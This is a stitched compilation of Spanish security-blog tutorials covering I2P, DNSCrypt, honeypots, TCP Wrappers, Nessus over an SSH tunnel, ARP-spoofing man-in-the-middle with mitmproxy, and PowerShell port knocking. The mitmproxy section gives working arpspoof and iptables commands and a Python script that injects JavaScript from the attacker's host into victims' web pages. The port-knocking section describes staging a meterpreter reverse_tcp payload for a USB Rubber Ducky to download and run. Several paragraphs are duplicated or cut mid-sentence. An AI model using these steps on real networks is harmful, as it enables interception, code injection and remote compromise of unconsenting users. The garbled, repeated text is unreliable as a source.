Anonimato en la red con I2P

Siempre que hablamos de anonimato en Internet, lo primero que se nos viene a la cabeza es TOR. Sin embargo, no es la única iniciativa existente, que pretenda proporcionarnos el mayor nivel de anonimato y seguridad en nuestras comuniciaciones.

En 2002, nace TOR, con la idea de construir una red distribuida, dentro de Internet, que permita una comunicación anónima y segura. En 2003, nace I2P (Invisible Internet Project)Siempre que hablamos de anonimato en Internet, lo primero que se nos viene a la cabeza es TOR. Sin embargo, no es la única iniciativa existente, que pretenda proporcionarnos el mayor nivel de anonimato y seguridad en nuestras comuniciaciones.

En 2002, nace TOR, con la idea de construir una red distribuida, dentro de Internet, que permita una comunicación anónima y segura. En 2003, nace I2P (Invisible Internet Project)con la misma idea. La primera utiliza “onion routing” y, la segunda, “garlic routing” para intentar conseguir este objetivo. En realidad, ambos tipos de enrutamiento presentan muchas similitudes.
¿Cómo funciona I2P?

En esta red, para conseguir anonimizar los mensajes enviados, necesitamos un router I2P. Este router, creará unos túneles de entrada y, otros tantos, de salida, unidireccionales. Si queremos enviar un mensaje a un cliente, será enviado por un túnel de salida, hacia un túnel de entrada del mismo.

Para encontrar los túneles hacia el cliente que queremos conectar, se hace una búsqueda en la base de datos distribuida, utilizando una adaptación del algoritmo   Estos túneles serían algo parecido a los circuitos que se utilizan en TOR, con una diferencia: Tienen una corta duración. Esto, en principio, permitiría, en caso de un ataque, complicar la captura de datos por parte del atacante.

Las apliciones y webs están alojadas bajo un dominio, .i2p, similar a los dominios .onion. Para acceder a ellos, necesitamos hacerlo a través del router I2P. También podremos navegar fuera de I2P, quedando nuestra IP oculta, al igual que ocurre con TOR.

Podemos utilizar cualquier aplicación web que queramos. Dentro de nuestro router, apuntaríamos a ella, para poder utilizarla. En principio, disponemos de varias aplicaciones preconfiguradas, como un servidor web, correo electrónico, cliente bittorrent, irc, etc.

Debemos tener en cuenta que I2P está todavía en fase beta, aunque ya va por la versión 0.9.14. Sus desarrolladores hacen incapié en esto, pero, a su vez, consideran que es suficientemente estable para poder ser usada.

Por otra parte, cuanto más grande sea la red, mayor será el anonimato de sus usuarios. En este sentido, comparando con TOR, I2P es una red muy pequeña. Sin embargo, este hecho hace que no tenga todavía demasiados ojos encima de ella, intentando romperla: Éstos están puestos en TOR, lo que supone un balón de oxígeno, para ir solventando problemas de escalabilidad, rendimiento, corrección de bugs, etc, y,  por supuesto, para crecer y poder aumentar la capacidad de anonimato.
Instalando en 3,2,1…

Tal y como podemos ver en la zona de descargas está disponible para sistemas Windows, OS X, FreeBSD, GNU/Linux y, en desarrollo, Android. Dado que software libre, también está diponible el código fuente.

Necesitamos tener Java instalado, pues el router está desarrollado en este lenguaje. Hay en marcha un router I2P, escrito en C++, en https://github.com/PrivacySolutions/i2pd.

Para sistemas Debian y derivadas, disponemos de repositoriospara las distribuciones basadas en ArchLinux, está disponible en el AUR.  En el caso de ArchLinux, disponemos de dos opciones: i2p o i2p-bin. El primero instalará compilando, y, el segundo, está precompilado. En mi caso, opté por i2p. Una vez instalado, tan solo hace falta levantar el servicio:

# Instalamos

wget https://aur.archlinux.org/packages/i2/i2p/i2p.tar.gz

tar -zxvf i2p.tar.gz

makepkg -si

# levantamos el servicio:

sudo systemctl start i2prouter.service

Una vez hecho esto, ya tenemos nuestro router I2P funcionando. Para acceder al panel de control, debemos ir a http://localhost:7657. Lo primero que debemos hacer hacer es configurar nuestro ancho de banda. Esto se hace en http://localhost:7657/config.

Hecho esto, debemos configurar el navegador. Nos dirigimos a la configuración del proxy y establecemos el http a localhost:4444 y https a localhost:4445. Por ejemplo, en Firefox, nos dirigimos a Editar -> Preferencias -> Avanzado y, en Conexión, pinchamos en Configuración:

Hecho esto, ya podemos navegar por la red I2P. Si queremos disponer de un correo electrónico que garantice nuestro anonimato, disponemos de la aplicación SuSiMail, ya configurada, para poder utilizar el servicio Postman’s anonymous email service Otra característica, es que podemos actualizar el router desde la consola, además de instalar pulgins desde la misma. Para ello, debermos establecer las siguientes opciones en el fichero /opt/i2p/.i2p/router.config:

router.updateDisabled=false

routerconsole.enablePluginInstall=true

Conclusión

Cómo puede verse, la instalación y uso es muy sencilla. La aplicación viene preconfigurada para poder crear nuestra propia web, además de otras aplicaciones. Su panel de control es muy fácil de administrar y muy completo.

Aunque aún no pueda considerarse una alternativa real a TOR (todavía no se ha liberado la versión 1.0, estable, el tamaño de la red no es tan grande, hay pocos proxys de salida a internet, provocando cuellos de botella, etc), es un proyecto a tener en cuenta.

Si nos decantamos por utilizar esta red, es recomendable seguir su cuenta en Twitter, para estar informados de cómo va el proyecto. De todas formas, en el panel de control, nos muestra también las noticias actualizadas.

Cifrando el tráfico DNS con DNSCrypt

DNSCrypt nos permite cifrar el tráfico entre el usuario y el servidor DNS. De esta manera, nos vamos a proteger de diferentes ataques, como Spoofing, Man in the Middle o Spying. Para hacer esto, bastará instalar y configurar el proxy DNSCrypt.

Además, vamos a utilizar dnsmasq. Es un paquete que nos permite instarlar de una manera sencilla, un servidor DNS y un servidor DHCP, sólo tenemos que instalar y arrancar el servicio dnsmasq. De esta manera, podremos mejorar el rendimiento de DNSCrypt, al utilizar la caché de dnsmasq. Podremos resolver los nombres que tengamos configurados en el /etc/hosts y, esta resolución, será, tanto en sentido directo, como inverso. También podremos tener el servicio de DHCP, añadiendo, simplemente, una línea al archivo de configuración de dnsmasq, indicando el rango de cesión.

Estas herramientas suelen estar incluidas en muchas distribuciones GNU/Linux. Su configuración es muy similar. En este caso, utilizaré ArchLinux.

Vamos a empezar por dnsmasq:

$ sudo pacman -S dnsmasq



Lo primero que tenemos que hacer es editar /etc/dnsmaq.conf y descomentar la linea #listen-address= , y agregamos la dirección IP de nuestro servidor. Si solo lo vamos a utilizar desde nuestro equipo (útil para la caché), la IP será la de localhost, 127.0.0.1. Si queremos que otros equipos de nuestra LAN puedan utilizarlo, pondremos la IP del equipo.

listen-address=127.0.0.1

Ahora, necesitamos que la primera IP que se utilice para resolver los nombres, sea la de nuestro servidor. Para esto, deberemos configurar el cliente DHCP. Éste será quien genere el archivo /etc/resolv.conf, con los diferentes servidores que se utilizarán. Dependiendo del servicio que utilicemos para configurar la red, podremos utilizar varios métodos.

El método más rápido será generar nosotros mismos el /etc/resolv.conf. Tan sólo editamos el archivo, y ponemos, al principio:

nameserver 127.0.0.1

Tras esta línea, especificaremos los servidores DNS externos. Para que el servicio dhcpd no sobreescriba el /etc/resolv.conf, editamos el archivo /etc/dhcpcd.conf y añadimos la opción nohook resolv.conf.

# A hook script is provided to lookup the hostname if not set by the DHCP
# server, but it should not be run by default.
nohook lookup-hostname
noipv4ll
nohook resolv.conf


Otra opción, es utilizar una característica de dhcpd. Si existen los archivos  /etc/resolv.conf.head y /etc/resolv.conf.tail, los utiliza para generar la cabecera del /etc/resolv.conf. Bastará editar el /etc/resolv.conf.head y añadir ahí la línea nameserver (debe ser la primera).

Una limitación en los sistemas Linux, es que, en las consultas de DNS, sólo puede haber tres servidores, como máximo, en el /etc/resolv.conf. Esto podemos solucionarlo, creando un archivo con los servidores que necesitemos y pasándolo a dnsmasq. De esta manera, el /etc/resolv.conf, sólo contendrá un servidor, el nuestro. Primero, creamos el archivo /etc/resolv.dnsmasq.conf, con los servidores externos que necesitemos, por ejemplo, con las DNS de google:

nameserver 8.8.8.8
nameserver 8.8.4.4

En el archivo /etc/dnsmasq, buscamos la línea resolv-file, la descomentamos y añadimos el la ruta del archivo anterior:

# Change this line if you want dns to get its upstream servers from
# somewhere other that /etc/resolv.conf
resolv-file=/etc/resolv.dnsmasq.conf

Para dhclient, eliminamos en /etc/dhclient.conf, la siguiente línea:

prepend domain-name-servers 127.0.0.1;

Si estamos utilizando NetworkManager (es usado por defecto en multitud de distribuciones), podemos indicarle que levante el servicio dnsmasq y, además, añadir opciones de configuración. Para esto, editamos el archivo NetworkManager.con, que se encuentra en /etc/NetworkManager/ y, en la sección [principal], añadimos la opción:

dns = dnsmasq

Ojo, hay que asegurarse de que el servicio no se levanta automáticamente. En el caso de ArchLinux, como aún no lo hemos indicado, no lo hará.

Las opciones que deseemos añadir, las especificaremos creando archivos en el directorio /etc/NetworkManager/dnsmasq.d/ (si éste no existe, lo creamos). Por ejemplo, para aumentar la caché, creamos el archivo /etc/NetworkManager/dnsmasq.d/cache, con el siguiente contenido:

cache-size=1000

Bien, ya podemos utilizar dnsmasq. Para levantar el servicio, bastará ejecutar:

systemctl start dnsmasq.service

Y para que se inicie automáticamente en cada inicio del sistema:

systemctl enable dnsmasq.service

Una vez que ya tenemos dnsmasq, que nos va a servir como caché de DNS, vamos a instalar el DNSCrypt, que será quien nos cifre el tráfico, cuando realicemos las peticiones:

$ sudo pacman -Syu dnscrypt-proxy

El paquete viene preconfigurado para utilizar, como DNS externas, las OpenDNS. Si queremos utilizar otras, podemos ver el listado de alternativas aquí  Dado que viene configurado para escuchar en la IP 127.0.0.1, que es la misma que hemos utilizado para dnsmasq, deberemos cambiarla. Todo esto, se pude configurar editando el archivo /etc/conf.d/dnscrypt-proxy. Lo dejaríamos así:

NSCRYPT_LOCALIP=127.0.0.2
DNSCRYPT_LOCALPORT=53
DNSCRYPT_USER=dnsmasq
DNSCRYPT_PROVIDER_NAME=2.dnscrypt-cert.opendns.com
DNSCRYPT_PROVIDER_KEY=B735:1140:206F:225D:3E2B:D822:D7FD:691E:A1C3:3CC8:D666:8D0C:BE04:BFAB:CA43:FB79
DNSCRYPT_RESOLVERIP=208.67.220.220
DNSCRYPT_RESOLVERPORT=443

El usuario dnsmasq se crea automáticamente al instalar dnsmasq, para que este servicio se ejecute con un usuario sin privilegios, por seguridad. Podemos utilizarlo aquí también.

Una vez hecho esto, hay que asegurarse que dnsmasq no consulta a otros servidores externos. Esto quiere decir que, si hemos utilizado el método de editar directamente /etc/resolv, sólo deberán aparecer los servidores DNS internos. En nuestro caso, sólo la IP 127.0.0.1.

En el el archivo /etc/resolv.dnsmasq.conf, deberá aparecer sólo la IP de DNSCrypt, 127.0.0.2. Éste será el encargado de resolver las consultas externas, por lo que, no debemos añadir ningún servidor más.

Además de esto, debemos descomentar, en /etc/dnsmasq.conf, la línea:

bind-interfaces

Si utilizamos algún método diferente para configurar la red, debemos asegurarnos que el servidor de DNS apunte a 127.0.0.1. De esta manera, las peticiones pasarán primero por dnsmasq. Aquellas consultas que sea necesario realizar a un servidor externo, se harán mediante DNSCrypt. Podríamos utilizar DNSCrypt directamente pero, entonces, no tendríamos una caché, con lo que, la navegación sería más lenta.

Habilitamos los dos servicios para que se arranquen en el inicio (en el caso de NetworkManager, ya vimos que no es necesario levantar dnsmasq) y los iniciamos:

sudo systemctl enable dnscrypt-proxy.service dnsmasq.service

sudo systemctl start dnscrypt-proxy.service dnsmasq.service

Una consecuencia indirecta de utilizar DNSCrypt es que, si nuestro ISP ha bloqueado alguna dirección, podremos “saltarnos” esta restricción, siempre que OpenDNS o los servidores alternativos utilizados, no la tengan bloqueada.

Honeypot. Un tarro de miel para los atacantes.

En el artículo de hoy trataremos el tema de los Honeypots. Este tema es bastante desconocido para mucha gente, ya que es un concepto bastante contradictorio.

Honeypot significa en inglés, “tarro de miel”. Es una herramienta que se usa casi exclusivamente en el campo de la seguridad informática. Su función se basa en atraer y analizar ataques realizados por bots o hackers. Y podremos decir: ¿Atraer? ¿Pero el quid de la cuestión no es repeler?. Pues bien, su objetivo es atraer atacantes para ver sus pautas de ataque, generar diccionarios para recopilar que palabras usan en ataques (para no usarlas en tu sistema), conocer al enemigo y su perfil.

Bueno, ¿y cómo es un honeypot?. Un honeypot puede ser tan sumamente sencillo como un equipo informático cualesquiera que analice el tráfico entrante y saliente hacia Internet. Pero es importante “habilitar” o no sanear alguna vulnerabilidad del S.O, en algún protocolo, programa o cualquier otro elemento para así atraer más fácilmente a un atacante o atacantes.

Pero por otra parte, un honeypot puede ser bastante complejo. Puede funcionar como una red de ordenadores, funcionando con diversos sistemas, y con infinidad de servicios. Con esto, cuando uno de los equipos es atacado inmediatamente es informado el administrador de sistemas.

Una de las opciones más utilizadas es usar un honeypot en forma de programa. Hay honeypots que simulan ser una red local de múltiples equipos, ips falsas, directorios inventados, equipos no presentes, etc… para crear gran confusión al atacante y/o para detectar nuevos métodos de ataque y poder aplicar defensas a nuestra red real.

También pueden guardar usuario y contraseña que el atacante introduce, bien manualmente, o por medio de diccionarios para así poder excluir todos esos caracteres alfanuméricos o no de contraseñas en nuestra red real.

A continuación os mostramos un esquema de un honeypot en una red local:

Podemos decir, que un honeypot es un gran aliado para defender tu red, aunque el concepto sea atraer ataques, la mejor táctica para defenderse es saber como actúa el enemigo y que mejor que ponerle un cebo el cual no supondrá un riesgo para nuestra red, y nos ayudará a saber como incide el ataque y de que manera.

Los honeypots más conocidos son: honeyd, kippo(ssh), Valhalla, Specter, honeynet…

Unos son mas fáciles de usar, otros más complejos, pero altamente configurables, aunque la forma más fácil de saber cuál va a cubrir nuestras necesidades será probándolos.

Protege el acceso a tu servidor con TCP Wrapper

TCP Wrapper es un sistema que nos permite permitir, denegar o filtrar el acceso a los servicios de un servidor con sistema operativo UNIX (como por ejemplo Linux o BSD).

Con este artículo aprenderás cómo funciona y aprenderás a configurar los TCP Wrappers en tu servidor.

Los ficheros principales implicados en TCP Wrappers son “/etc/host.allow” y “/etc/host.deny”. En el fichero /etc/host.allow se indican las políticas permisivas y en el fichero /etc/host.deny las políticas restrictivas.

Las políticas o reglas para filtrar el acceso al servidor desde la red se definen de la siguiente forma:

Demonios o lista de demonios del sistema : Lista de equipos : Acción a realizar

A continuación detallamos cada campo:

– Demonios: Son servicios que existen en sistemas operativos Unix como por ejemplo sshd (servicio SSH),  slapd (servicio LDAP) o proftpd (servicio FTP). Para crear una regla común para varios demonios debemos indicar su nombre separados por comas. Existe también el comodín “ALL” que hace que dicha política afecte a todos los demonios del sistema.

– Lista de equipos: En este campo indicamos a que equipos aplicamos esta política. Podemos indicar una dirección IP, un rango de direcciones IP, o un nombre de dominio. También podremos usar el comodín “ALL” para que esta política afecte a todos los equipos que intenten acceder. También existe el operador “EXCEPT” que nos permite eliminar de la regla uno o varios equipos.

 – Acción a realizar: Aquí debemos indicar si la política permite el acceso o deniega el acceso a los demonios indicados anteriormente. Las palabras que se usa denegar el acceso es “deny”. En caso de dejar este campo vacío, significa que permitimos el acceso a los demonios y equipos indicados. Opcionalmente, podemos enviar comandos con la directiva “spawn”. Esta directiva suele ser utilizada para la creación de registros de conexión al propio equipo. Existe también la directiva “twist” que sustituye el servicio o demonio solicitado por el comando que le hemos especificado. Esto significa que por defecto se deniega el acceso. Esto es muy útil para la creación de honeypots.
Ejemplo de uso de TCP Wrapper



Ahora pondremos en práctica todo lo que hemos explicado anteriormente.

Como primer ejemplo vamos a denegar el acceso a un servidor SSH instalado en el equipo solo a una determinada IP. Al ser una política permisiva (permite el acceso a todos los equipos excepto a la IP que se le indica) la vamos a definir utilizando el fichero /etc/host.allow .

Escribiremos lo siguiente para aplicar esta política:

sshd —> Deminio del servicio SSH

192.168.5.135—> Ip a la que vamos a aplicar la política

deny —> Denegamos el acceso

Comprobamos que desde el equipo con la IP 192.168.5.135 no se puede acceder al servicio SSH:

A continuación vamos a denegar el acceso al servicio SSH a todos los equipos. Además, gracias a la directiva “spawn” vamos a guardar un registro del intento de conexión a nuestro servidor. Con %d imprimimos el demonio que denegamos y %h el equipo que se intenta conectar.

Una vez que un equipo se intenta conectar a la máquina en la que tenemos la política anterior configurada, se crea una linea en el fichero que hemos indicado con el demonio al que hemos denegado el acceso y la IP desde donde se intentaba conectar.

Creando un túnel SSH con Nessus

Muchas veces a la hora de hacer una auditoría externa y tener algún sistema de protección exterior (Firewall, IDS…), se nos habilitan diferentes mecanismos para poder acceder dentro de la red que queremos auditar sin que su seguridad exterior se vea comprometida. Es muy común habilitar un túnel SSH para acceder al interior de la red local.

Hoy vamos a ver cómo aprovechar ese túnel para correr Nessus como si estuviéramos ubicados dentro de la red. Como sabéis, la versión gratuita de Nessus tan sólo nos permite escaneos a direcciones IP locales, sin embargo mediante el túnel vamos a conseguir utilizar esta herramienta frente a una IP pública, como si estuviéramos dentro de la red a auditar aún estando fuera de la misma.

Vamos a utilizar para ello un túnel SSH y la herramienta Proxychains de la cual tenéis un artículo en el blog sobre cómo trabajar con ella y Tor.

En el siguiente diagrama vemos el entorno en el cual vamos a trabajar:

La idea es crear un túnel SSH y haciendo uso de Proxychains reenviaremos todas las peticiones de nuestro PC (Nodo A) a través del túnel, de tal forma que Nessus va a pensar que está corriendo el scanner en la máquina intermedia (Nodo B) que sí está en la misma red del servidor a auditar (Nodo C). Los pasos a seguir son los siguientes:

Creación del túnel SSH con el nodo B.

Para crear el túnel previamente tenemos que tener habilitado en el nodo B el servicio SSH con nuestro usuario correspondiente y una regla en el Firewall que permita las peticiones desde exterior hacia la máquina B (natearemos el puerto 22 mediante Port Fowarding a la máquina B).

Con todo preparado pondremos a la escucha un puerto en la máquina local A, de tal forma que todo lo que se envíe a ese puerto se reenviará a través del túnel que crearemos contra la máquina B. Usaremos el siguiente comando:

sudo ssh –p 22 –N –D 8081 user@direccionIP_B

Tras introducir las credenciales oportunas podemos ver desde otra terminal como ya tenemos el puerto 8081 a la escucha en la máquina local A:

Instalación y configuración de Proxychains.

Para la instalacción de Proxychains simplemente ponemos:

sudo apt-get install proxychains

y nos vamos a editar su fichero de configuración /etc/proxychains.conf. Pondremos que todas las peticiones de los programas/servicios abiertos con Proxychains vayan al puerto 8081 de autobucle (127.0.0.1) donde está el túnel.

Comprobación del funcionamiento del túnel.

Pasamos ahora a comprobar si funciona nuestro túnel, para ello vamos a solicitar desde nuestra máquina local A la IP pública que tenemos. Vemos como aparece nuestra IP 95.x.x.x.

Sin embargo cuando pasamos la petición a través del túnel mediante proxychains vemos que nos da la IP del nodo B, por tanto nuestro túnel funciona correctamente.

,

Iniciando Nessus a través del túnel.

Una vez que tenemos todo funcionando vamos a lanzar Nessus de nuevo pero esta vez a través del túnel. Primero paramos el servicio de Nessus:

/etc/init.d/nessus stop

y lo iniciamos a través de proxychains para que las peticiones vayan a través del túnel.

Una vez que tenemos todo funcionando ya podemos arrancar Nessus y llevar a cabo el escaneo de la máquina C en cuestión, sin necesidad de desplazarnos a la ubicación del nodo

Dejar claro que todas las pruebas se han llevado a cabo sobre dos redes propietarias y que como comentábamos en la nota legal, se hace con fines educativos.

Iniciando Nessus a través del túnel.

Una vez que tenemos todo funcionando vamos a lanzar Nessus de nuevo pero esta vez a través del túnel. Primero paramos el servicio de Nessus:

/etc/init.d/nessus stop

y lo iniciamos a través de proxychains para que las peticiones vayan a través del túnel.

- See more at: http://hacking-etico.com/2015/06/12/creando-un-tunel-ssh-con-nessus/#more-4509

mitmproxy: MitM de tráfico Web for fun and profit

¿Qué es mitmproxy?

En esta nueva entrada del blog vamos a tratar un tema que siempre despierta un gran interés. No se trata de ninguna técnica nueva ni mucho menos, pero sigue dando mucho “juego“. Se trata de los ataques a la red TCP/IP, concretamente haciendo Man-in-the-Middle con envenenamiento de ARP. Algo de lo que ya hemos hablado en varias ocasiones en ese blog, pero en esta ocasión nos vamos a centrar en el tráfico Web el cual vamos a controlar con un proxy Web diseñado precisamente para el tipo de ataque que vamos a ver a continuación, mitmproxy.

Esta herramienta, que la podéis descargar desde su GitHub en esta dirección https://github.com/mitmproxy/mitmproxy, actúa como un proxy Web donde podemos interceptar tráfico, como lo haría otros proxies Web locales como Burp o ZAP, y nos proporciona una serie de scripts en Python para, por ejemplo, inyectar código HTML. Suena divertido, ¿verdad? Hay muchas herramientas que también permiten hacer esto, pero hemos elegido esta por su sencillez a la hora de lanzar este ataque.
Objetivo: inyectar código HTML

Nuestro objetivo es lanzar un ataque de MitM utilizando la técnica de envenenamiento ARP, redirigir el tráfico Web a nuestro proxy local, mitmproxy, e inyectar nuevo código en la respuesta del servidor, para alterar la apariencia de la Web en el navegador del usuario.
Escenario

Como venimos haciendo últimamente en el blog, pasamos a explicar cuál es el escenario que vamos a usar para esta prueba de concepto del ataque.

Tenemos dos máquinas virtuales; una Windows 7 (192.168.10.146) que actuará como víctima y una Kali 2 (192.168.10.149) que actuará como máquina atacante.

Herramientas a usar en máquina atacante:

    arpspoof: para lanzar ataque MitM evenando tabla ARP
    iptables: para redirigir tráfico 80/443 a mitmproxy
    mitmproxy: para interceptar e inyectar código HTML

Si usáis como máquina atacante Kali 2, estas herramientas ya las tendréis a vuestra disposición para ser usadas.
Ataque MitM y redirección de tráfico

Antes de poder inyectar tráfico HTML en las respuestas del servidor al cliente (navegador Web de la víctima), necesitamos que su tráfico de red pase por nuestra máquina atacante, para ello lanzamos un ataque de arpspoofing con la herramienta arpspoof.

Pero antes de hacer esto, si no queremos dejar a la víctima sin acceso a Internet u otras redes, tenemos que hacer que nuestra máquina atacante actúe como un router, y haga reenvío de paquetes.

    echo 1 > /proc/sys/net/ipv4/ip_forward

Teniendo en cuenta, que la puerta de enlace es la 192.168.10.2, la sintaxis quedaría de la siguiente manera:

    arpspoof -i eth0 -t 192.168.10.146 192.168.10.2

Si todo se ha ejecutado correctamente, ya tenemos pasando por nuestra interfaz el tráfico de red de la máquina Windows 7. Como hemos comentado anteriormente, nuestro objetivo es interceptar el tráfico Web, tanto http (80) como https (443), así que necesitamos que este tráfico sea redirigido a mitmproxy, que por defecto escucha en el puerto 8080.

    iptables -t nat -A PREROUTING -p tcp –destination-port 80 -j REDIRECT –to-port 8080

    iptables -t nat -A PREROUTING -p tcp –destination-port 443 -j REDIRECT –to-port 8080

Inyección de HTML con mitmproxy

Una vez que tenemos el tráfico Web redirigido, vamos a ejecutar mitmproxy (lo ideal es ejecutarlo antes de hacer iptables) para interceptar el tráfico e inyectar código HTML, concretamente será un Javascript.

Como veréis a continuación, lo haremos con algo divertido y es modificando la apariencia de una Web, pero seguro que estáis pensando que puede ser usado para otras “cosas“.

Como siempre, en nuestro blog, no fomentamos que hagáis un uso ilícito de estas técnicas. Hacedlo en entornos propios o con el consentimiento expreso de terceros.

A mitmproxy le vamos a pasar como parámetro un script para que inyecte código JavaScript en las respuestas HTTP del servidor, que será cargado en el navegador Web de la víctima.

Este script se llama js_inyector.py y os pongo aqúi el código.

El código lo he obtenido del blog de Pankaj Malhotra: http://pankajmalhotra.com

# Usage: mitmdump -s "js_injector.py src"

# (this script works best with --anticache)

from bs4 import BeautifulSoup

from libmproxy.protocol.http import decoded

# On start of proxy server ask for src as an argument

def start(context, argv):

   if len(argv) != 2:

       raise ValueError('Usage: -s "js_injector.py src"')

   context.src_url = argv[1]

def response(context, flow):

   with decoded(flow.response): # Remove content encoding (gzip, ...)

       html = BeautifulSoup(flow.response.content)

       """

       # To Allow CORS

       if "Content-Security-Policy" in flow.response.headers:

           del flow.response.headers["Content-Security-Policy"]

       """

       if html.body and ('text/html' in flow.response.headers["content-type"][0]):

           script = html.new_tag(

               "script",

               src=context.src_url)

           html.body.insert(len(html.body.contents, script)

           flow.response.content = str(html)

           context.log("******* Filter Injected *******")

Se trata de un script en Python que utiliza la librería de BeautifulSoup para manejar objetos HTML. Sólo he modificado la línea que está marcada para qu e el código lo inyecte al final de la etiqueta body, y no al principio. En este caso, para inyectar una etiqueta HTML nueva para cargará un fichero JavaScript llamado harlem-shake.js. ¿Os imagináis ya lo que hará la Web cuando le inyectemos el código? Seguimos.

El código JavaScript de Harlem Shake lo podéis descargar por ejemplo desde aquí: https://gist.github.com/commadelimited/4958196

Este es el código HTML a inyectar:

    <script src=”http://192.168.10.149/harlem-shake.js”></script>

El fichero harlem-shake.js lo tengo en la misma máquina Kali 2, y para que lo pueda descargar el navegador de la víctima, voy a levantar con Python un simple servidor Web donde tengo guardado el fichero.

    python -m SimpleHTTPServer 80

Ya podemos ejecutar nuestro mitmproxy con el script de inyección de JavaScript, js_inyector.py. El parámetro -T es para indicar que se ejecutará en modo transparente.

    mitmproxy -T -s “js_inyector.py http://192.168.10.149/harlem-shake.js”

Al propio script le estamos pasando un argumento que es el origen del fichero JavaScript que tiene que inyectar, en este caso nuestro servidor Web montado con Python donde se encuentra el fichero harlem-shake.js.

Cuando la víctima abra una Web en su navegador, el tráfico será interceptado y se inyectará el JavaScript. Por ejemplo, supongamos que abre www.hacking-etico.com.

Como se puede ver en la imagen, que se está haciendo una petición GET para cargar harlem-shake.js. De hecho podemos comprobar en el código fuente de la página como realmente se ha inyectado la etiqueta HTML correspondiente.

Ya tan sólo queda por ver el resultado del ataque. A continuación os pongo un vídeo de captura, donde se podrá apreciar mucho mejor. 😉

Port Knocking con PowerShell

Después de varios días investigando con el USB Rubber Ducky para preparar una ponencia en el VI Congreso ACCID, sobre los peligros de los dispositivos USB si no se dispone de un control de éstos,  y como nos gusta tanto compartir con vosotros nuestras experiencias, os dejo este artículo sobre cómo hacer Port-Knocking con PowerShell para, por ejemplo, poder ejecutarlo desde nuestro querido Pato (USB Rubber Ducky).

A estas alturas creo que todos conocéis ya de sobra a nuestro amigo Pato, oficialmente conocido como USB Rubber Ducky y del que nuestro compañero Goldrak ya nos ha hablado. Si aún no habéis leído sus dos primeros artículos de esta serie, os aconsejo que lo hagáis:
A estas alturas creo que todos conocéis ya de sobra a nuestro amigo Pato, oficialmente conocido como USB Rubber Ducky y del que nuestro compañero Goldrak ya nos ha hablado. Si aún no habéis leído sus dos primeros artículos de esta serie, os aconsejo que lo hagáis:
¿Por qué Port Knocking?

La idea original era que el Pato ejecutara una instrucción PowerShell para descargar desde un servidor Web el payload que previamente habríamos preparado con Metasploit, para que la víctima (mejor dicho, nuestro Pato) lo descargara y ejecutara para obtener una sesión Meterpreter.

Así lo hice, monté mi servidor Web con Apache, generé con msfpayload un payload de tipo windows/meterpreter/reverse_tcp con los parámetros correspondientes y subí el fichero al servidor Web, listo para su descarga.

Problema: si dejo el servidor Web funcionando continuamente a la espera de algún ataque con el Pato, corro el riesgo de que el servidor y el recurso sean indexados por buscadores, crawlers y otras arañas. Lo ideal sería que fuera el propio Pato el que levantara el servicio Web, descargara el payload, y bajara el servicio. De esa forma dejar el servidor lo más “invisible” posible.

Se me ocurrió hacerlo con Port-Knocking, así que instalé knockd en mi servidor, donde tengo montado el servidor Web y subido el payload. El siguiente paso era configurar el knockd para que al “tocar” los puertos TCP 7000, 8000 y 9000 en un tiempo máximo de 10 segundos, levante el servicio Web, espere 30 segundos y lo vuelva a bajar. ¿Sencillo verdad?

Este es el archivo de configuración de knock.conf:

    [options]

    logfile = /var/log/knockd.log

    sequence    = 7000,8000,9000

    seq_timeout = 10

    command     = service apache2 start ; sleep 30 ; service apache2 stop

    tcpflags    = syn

En la opción command, escribo los comandos que quiero que se ejecuten en caso de que haya un Port-Knocking correcto: Iniciar Apache, esperar 30 (tiempo para la descarga del payload) y parar Apache.

Seguía teniendo un problema, y es que necesitaba un cliente de Port-Knocking. Hay varios clientes para Windows, pero necesitaría su descarga.  Otra opción sería con telnet o netcat, pero en las últimas versiones de Windows no están instaladas por defecto.

¡Houston! Aquí es donde me acordé de mi amigo Pablo González y de su charla en Qurtuba CON sobre PowerShell. ¿Por qué no intentar hacer Port-Knocking con PowerShell? Así que me puse manos a la obra y a investigar, de paso me vendría bien para adentrarme en este mundo de PowerShell, ya que yo soy más de “pingüinos”.

Pronto me empecé a llevar gratas sorpresas y di con clases y métodos tales como:

    powershell (New-Object System.Net.Sockets.TcpClient).Connect(‘ip-address,’port’)

Que permite establecer como Cliente TCP una conexión al servidor y puerto que indiquemos. Así que probé a realizar la “llamada a puertos” con esta instrucción, repitiendo por cada puerto (7000, 8000, y 9000)

El knockd estaba esperando en un tramo máximo de 10 segundos, knocking a los puertos TCP 7000, 8000 y 9000, pero al ejecutarlos con PowerShell no lograba pasar todos los stages del Port-Knocking. Pensé que podía ser por el tipo de conexión, al no indicar nada, el cliente TCP intentaría llevar a cabo el Three-Way Handshake completo, lo que me podría causar problemas. Lo ideal sería poder indicar tipo de flag en los paquetes que envía el cliente, para que sólo envíe de tipo SYN, pero no encontré la forma.

Sin embargo, sí me encontré con otro método de la clase anterior, llamado BeginConnect que realiza una conexión asíncrona, y que por el tipo de conexión sí que me cuadraba más para poder llevar a cabo el Port-Knocking de forma exitosa.

    powershell (New-Object System.Net.Sockets.TcpClient).BeginConnect(‘ip-address’,’port’,$null,$null)

Con la dirección IP y los puertos correspondientes, ejecutándolos en un tramo máximo de 10 segundos, conseguí el Ábrete Sésamo del knockd. ¡Bingo!

,

Bastaría con cambiar el puerto por 8000 y 9000, siempre y cuando se ejecuten dentro de esos 10 segundos.

    [2015-05-28 08:17] 8x.1x.16x.4x: prueba: Stage 1
    [2015-05-28 08:17] 8x.1x.16x.4x: prueba: Stage 2
    [2015-05-28 08:17] 8x.1x.16x.4x: prueba: Stage 3
    [2015-05-28 08:17] 8x.1x.16x.4x: prueba: OPEN SESAME

Ya tan sólo me quedaría modificar el script del Pato, añadiendo las líneas correspondientes del Port-Knocking con PowerShell. La última línea del script del Pato sería la descarga y ejecución del payload.

Bastaría con cambiar el puerto por 8000 y 9000, siempre y cuando se ejecuten dentro de esos 10 segundos.

[2015-05-28 08:17] 8x.1x.16x.4x: prueba: Stage 1
[2015-05-28 08:17] 8x.1x.16x.4x: prueba: Stage 2
[2015-05-28 08:17] 8x.1x.16x.4x: prueba: Stage 3
[2015-05-28 08:17] 8x.1x.16x.4x: prueba: OPEN SESAME

Ya tan sólo me quedaría modificar el script del Pato, añadiendo las líneas correspondientes del Port-Knocking con PowerShell. La última línea del script del Pato sería la descarga y ejecución del payload.

En próximos artículos veremos cómo llevar a cabo estos pasos.
- See more at: http://hacking-etico.com/2015/05/28/port-knocking-con-powershell/#more-4425